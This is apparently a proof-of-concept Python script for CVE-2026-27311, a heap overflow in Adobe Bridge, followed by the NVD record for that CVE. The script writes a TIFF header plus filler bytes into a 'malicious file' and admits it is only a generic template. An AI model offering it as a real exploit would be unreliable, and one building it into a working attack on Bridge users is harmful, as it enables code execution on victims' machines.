CVE-2026-27311

import struct # PoC for CVE-2026-27311: Heap-based Buffer Overflow in Adobe Bridge # This script generates a malformed file designed to trigger a buffer overflow. # Note: This is a generic template for demonstration based on the vulnerability type. def generate_malicious_file(filename): # Simulating a file header that Adobe Bridge processes # In a real exploit, this would match a specific format parsed by Bridge (e.g., Tiff, PSD) header = b'\x49\x49\x2A\x00' # Example TIFF Header (Little Endian) # Constructing the overflow payload # The vulnerability occurs when a specific data field length is not validated. # We create a large buffer to overflow the heap boundary. padding = b'A' * 100 overflow_data = b'B' * 0x2000 # Excessive data to trigger the crash/overflow # Combine header and payload payload = header + padding + overflow_data with open(filename, 'wb') as f: f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Open this file with a vulnerable version of Adobe Bridge to trigger the vulnerability.") if __name__ == "__main__": generate_malicious_file("cve_2026_27311_poc.dat")

{"cve": {"id": "CVE-2026-27311", "sourceIdentifier": "[email protected]", "published": "2026-04-14T20:16:34.577", "lastModified": "2026-04-15T19:59:28.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bridge versions 16.0.2, 15.1.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:bridge:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.1.5", "matchCriteriaId": "8B4FBE0D-49AE-47B0-9A02-CF772B606C89"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:bridge:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.0", "versionEndExcluding": "16.0.3", "matchCriteriaId": "AA94FD4C-CD52-43BC-9DD6-C688A783A5F9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/bridge/apsb26-39.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}